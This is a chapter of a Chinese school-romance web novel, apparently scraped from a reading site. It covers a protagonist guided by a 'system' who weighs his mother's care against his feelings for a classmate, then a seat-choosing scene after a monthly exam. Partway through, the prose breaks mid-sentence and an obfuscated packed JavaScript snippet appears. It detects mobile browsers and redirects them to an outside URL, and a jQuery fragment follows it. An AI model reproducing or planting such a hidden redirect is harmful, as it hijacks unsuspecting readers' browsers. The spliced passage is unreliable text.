狭小昏暗的房间内,唯有屏幕亮起的暗淡微光映入男生瞳眸。
【要价20万?!】
“嗯。”
【……】
【唉,早说你不要用那么多能量换这个人的信息了,根本没用嘛。】
系统垂头丧气的飘着。
【总要试试的。】徐常上沉默出声,眸中毫无意外之色。
空气沉寂片刻,系统缓缓出声道。
【其实你不需要管这么多。】
【这次要花费的能量太多了,几乎将你攒的能量全搭进去了,主要是,岛宝也没受到什么实质性伤害,唯一的伤也被你用道具治疗过了。】
【……我记得,你攒的这些能量是想给你母亲兑换一张无痛卡的吧。】
黑暗中,徐常上神色浮现几分隐忍的挣扎,唇瓣不自觉地抿紧,低沉沙哑声传出。
“可是她会在意。”
“如果她真的不曾感到受伤,就不会独自一人去报警。”
徐常上眸光落到虚处,略有失神道。
“母亲她……”
在初次做任务得到加速完单的道具后,徐常上系统给出道具列表中看到了一个令他为之心动的道具——无痛卡,一张无视伤痛的道具卡。
也可作用于病痛,徐常上知道母亲每天躺在病房之中的煎熬,所以便有心兑换。
但任务进展并不顺利,徐常上不也能因此强迫岛晓做她违心之事,这件昂贵的道具便一直拖到现在也没能兑换。
当最近的任务终于有了些许起色,只还差一点便能兑换成功后,他却选择花费近乎全部的能量来赌一个未知,用来换取拍到证据的狗仔联系方式。
结果也没能出他所料,给出的价码他承受不起。
徐常上肩处似重山沉沉压下,将他堵得说不出话。
“本就不该有的,倒也算不上失望。”徐常上垂眸间,难掩眸中落寞,“是我对不起母亲。”
只是,他也不知道该怎么办才好。
若不这样做,心中总难以安宁,每当回想起岛晓双眸紧闭,脆弱的面庞,他心中的愧疚犹如汹涌浪潮,将他一缕一缕浸湿,拍向海潮深处。
心口像是堵了一层薄膜,闷得喘不过气,酸涩却如冷流寸寸漫,绞得疼痛难耐,却无处发作。
自责与愧疚将他无声淹没,她受伤情景、惊恐的模样,都是压得他喘不过气的罪魁祸首。
他长睫轻颤,水光乍现,抬眸间,满是迷茫。
可即便这样做了又能怎样?岛晓依旧没能得到公正,母亲也因此错失可以安眠的良机。
强烈的挫败感袭来,将他深深围绕、紧紧包裹,漫漫长夜,尽数折磨。
**
月考如约到来,安静的教室里充斥着紧张的氛围,只剩沙沙而动的笔触声。
考试座次是按上学期期末成绩所排,由于是第一次月考,岛晓坐的位置是按原主成绩排的,在第五考场的位置。
时间还剩十分钟时,岛晓答完了数学,检查时,岛晓盯着卷上的某道题,不知怎的,就入了神。
那是她刚到学校时,第一晚在家研究过的题,到校的第二天便出现了徐常上给出的练习纸上。
这套卷子上的题,出现最多的是在徐常上给她的笔记本上,当时的岛晓便有预感,如今看来,那确实是专门为她这次月考而准备的。
脑中浮现这个想法的一瞬,一股甜蜜在岛晓心间隐秘流淌,脑中像是炸开了一束烟花般,一瞬间,她茫然无措,不知该作何感想。
一直到考试结束,她还有些懵,岛晓皱起眉,痛恨自己的不专心,她的注意力竟这样被轻而易举地分散,随后又快速调整好状态后,迎接下一场考试。
这一考,便是两天。
翌日下午,岛晓检查完最后一场考试的试卷,静等考试结束,脑中满是对舞蹈艺考班的期待。
终于在考试结束铃声响起后,岛晓穿过如潮水般的人流快速回到教室,回到那个被整理得空荡荡的位置上,再次把书垒成围墙的模样,而后坐等老师的通知。
但岛晓先一步等来的是徐常上坐到了她的身旁。
衣襟处清新花草的香气在他落座的瞬间,将岛晓紧紧包围,她被这气味引得不禁向他那处瞄去。
教室在此时像是一个巨大的蒸笼,吵闹不停歇,在兴奋与激动为情绪主题的交响乐下,众人对题目的兴趣探讨迎来了最高峰。
“你语文选择第五个填的什么?”
“B。”
“完了!我选的C!”
杀猪般的尖锐爆鸣在教室后方响起,班级里瞬间哀嚎遍野。
嘈杂声越过人群,传至岛晓耳中时却像是被自动隔了一层薄膜,渐渐模糊了音色,也模糊了字样。
她鼻尖仍旧是芬芳的香气,仿佛快要与之融为一体,这强势而浓厚的入侵令她无暇思考,迷迷糊糊就这么走了神。
再回过神时,老师已经站在了讲台上,教室内安静下来,她这一角的宁静终于不再显得独特。
“考试刚结束,大家觉得自己考得怎么样啊?这次题出得不难……”许牵讲了十多分钟的场面话后推了推眼镜,正色道。
“我们这次月考结束后是要重新换位的,想必你们早就有所耳闻,不过这学期我打算实行一下新策略,跟隔壁班取了一下经,让我看看效果怎么样。”
“一会你们每个人都会在纸上写下自己想同桌的人名,我会根据成绩来排班级的座次表,成绩高的有优先选择同桌和位置的权利,每个人有两次选择机会。”
“身高有限制,像超过180的同学只能在中间至后排落座。”
“如果非要在前排,也只能选择两侧,排名靠前优先,不过我们班身高超180且成绩名列前茅的同学也没几个……”
“还有一点,如果两个人成功互相选为同桌,一个月后,你们两人成绩要是双双下降,你们本学期都将禁止参与选座。”
“好了,开始吧,一会儿我挨个下去收。”
话音刚落,教室里像是炸开了锅,每个人都左邻右舍般讨论起来,岛晓附近也是这般,可唯独他们二人,一个赛一个的安静。
“你坐哪?我还想坐边儿上,好偷吃。”
“我也是。”
“我想和宋泽成坐一起,就是不知道我这次成绩够不够得上。”
“选他当同桌的肯定不在少数,你至少得进前五才有希望。”
“啊……那我放弃了。”
“你说,徐常上会选谁当同桌?”
“不知道,他那个成绩,选谁都能成功吧,不过,你怎么不问有谁会选他?”
“这还用问?!女生至少80%第一选择都填他!”
岛晓耳尖竖起,偷听着前方两人的谈话,其中夹杂着几声不同的细碎声。
她偷瞄向身旁那人,心中暗暗猜测他会作何感想。
只见男生修长的指节随意裁截下一块整齐的纸条,几乎是没怎么思考,握着笔的手便在纸条上动笔,纸条被宽大的手掌覆盖,从岛晓这个角度看去,根本看不到他写了什么。
她回眸,盯着眼前的纸条犯了难。
该写谁?
她谁也不认识,也没有在学校交到朋友,甚至连班级里的人名都没记几个。
徐常上肯定不能写,她调位就是为了远离他,连星珠更不用说,坐在她身边很难不抑郁。
何文熙?
她都和这个人闹掰有一个星期了,更何况,这人总是对她一副不怀好意的模样,感觉像是成天给她使绊子的那种人。
岛晓仔细回想发现,除去徐常上、连星珠、何文熙,她竟想不起这个班里她还认识谁。
倏然,一股莫名的恐慌浮现于心中,令她一时慌乱无措。
写什么?该写谁?
宋泽成?
对了,她刚才好像是听到有这么个名字来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406848|200557||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着,不知是从谁口中听说的,不管了,能写上就行。
这人是男是女?名字是这么写的吗?
大约是的,她好像在什么地方见过。
岛晓手忙脚乱地头脑风暴着,直到一声询问于她耳旁响起,才将这股无措打断。
“岛晓。”
徐常上睫毛轻垂,音色低沉,似随意地念出她的名字。
“嗯?”岛晓乍一回神应道。
“你想坐哪儿?”
听此,岛晓心里咯噔一下,脑中闪过问题背后的种种原因,紧张与不可言说的期待漫过心尖,可当眸光不经意触及纸条上的名字后,掌心的湿润骤然冷却,心一瞬间跌至谷底。
她早已做出了选择,无论徐常上选择谁都与她不再有关系。
片刻后,岛晓平复好心绪,目光游移道:“你问这个做什么……”
徐常上手上动作悠然转着根笔,“给我们后天挑个座。”
“……我们?”
岛晓在口中将这两个字碾过一遍。
“嗯。”徐常上淡淡应道。
“你填了谁?是我吗?”
岛晓抿起嘴。
“看来不是。”徐常上眉头微动,一副了然的神色。
“你呢?”岛晓神色有些紧绷。
虽然心中早有猜测,但听到答案那一刻,心便永远悬在半空。
“你猜不到吗?还不够明显?”
“是你。”
徐常上突然俯身靠近,离她耳旁不过两拳的距离,倒不算扎眼,可于岛晓而言,已是相当近的距离。
温热的气息若有若无的喷洒在她耳尖,那芳香像是精准地定位到他,将她层层圈固,以更强势姿态挤入她的呼吸。
“你填的人是谁?”
他目光紧紧锁住岛晓的神色,静静地观察着她的反应,心中却不如面上表现的这般平静。
他明知自己这般已属冒犯,也不敢直面岛晓露出的怯意与厌恶,可心中不知哪来的一股冲动让他将那些恐惧后怕统统忘却,只想盯着眼前人问个清楚明白。
他也不知道自己究竟为什么要这样在意、要这样……斤斤计较。
岛晓心中的紧张在这一瞬达至顶峰,她眸光死死盯住一处无关紧要的地方,一动不动,身体又冷又麻木,竟让她感到自己是个已有百年之久的木桩。
此时完全覆盖住纸条的手竟忍不住想要颤抖,幸好掌心触底,才不至于让她抖出来。
许牵在讲台后方蓦然出声,那声音隔着半间教室穿越人潮模糊又清晰地抵至岛晓耳中,瞬间令她心头一跳。
“每个人在选择他人的同时,自己也有可能被选择,所以被选择的人是没有反抗权力的。”
“明天没有搭成同桌的同学,会进行第二次选择,如果还能剩下同学的话,就要被我随机匹配了哈,所以你们最好是都商量好,给我省点事,我们后天排座。”
那边话音刚落,耳旁便传来一声脆竹般悦耳轻笑。
“没关系,我的成绩够选你了。”
徐常上侧身离开,面上还扬着唇角,心中却传来阵阵苦涩。
这还是他第一次如此感激自己的成绩名列前茅,竟能令他在一件事情上有权力选择她,大概也是唯一一件事了吧。
岛晓眸中的震惊还未消散,神色呆滞地盯着某处,盖纸条的手已经僵硬。
被选择的人没有拒绝权?那以徐常上的成绩,岂不是选谁都会成功?
他选了自己……
岛晓眼睫垂落,盯着自己捂到发僵的手。
那她还选个鸡毛啊?
原本的计划因徐常上全部打乱,伤感与恐惧顷刻消散,转而成为不知从何而来的郁闷。
脑中思绪像是纠缠错乱的线团,嗡嗡作响,岛晓茫然而安心地接受着这个不可改变的事实。
“想坐哪里?”身旁淡淡的声音再度传来。
岛晓:“……都行。”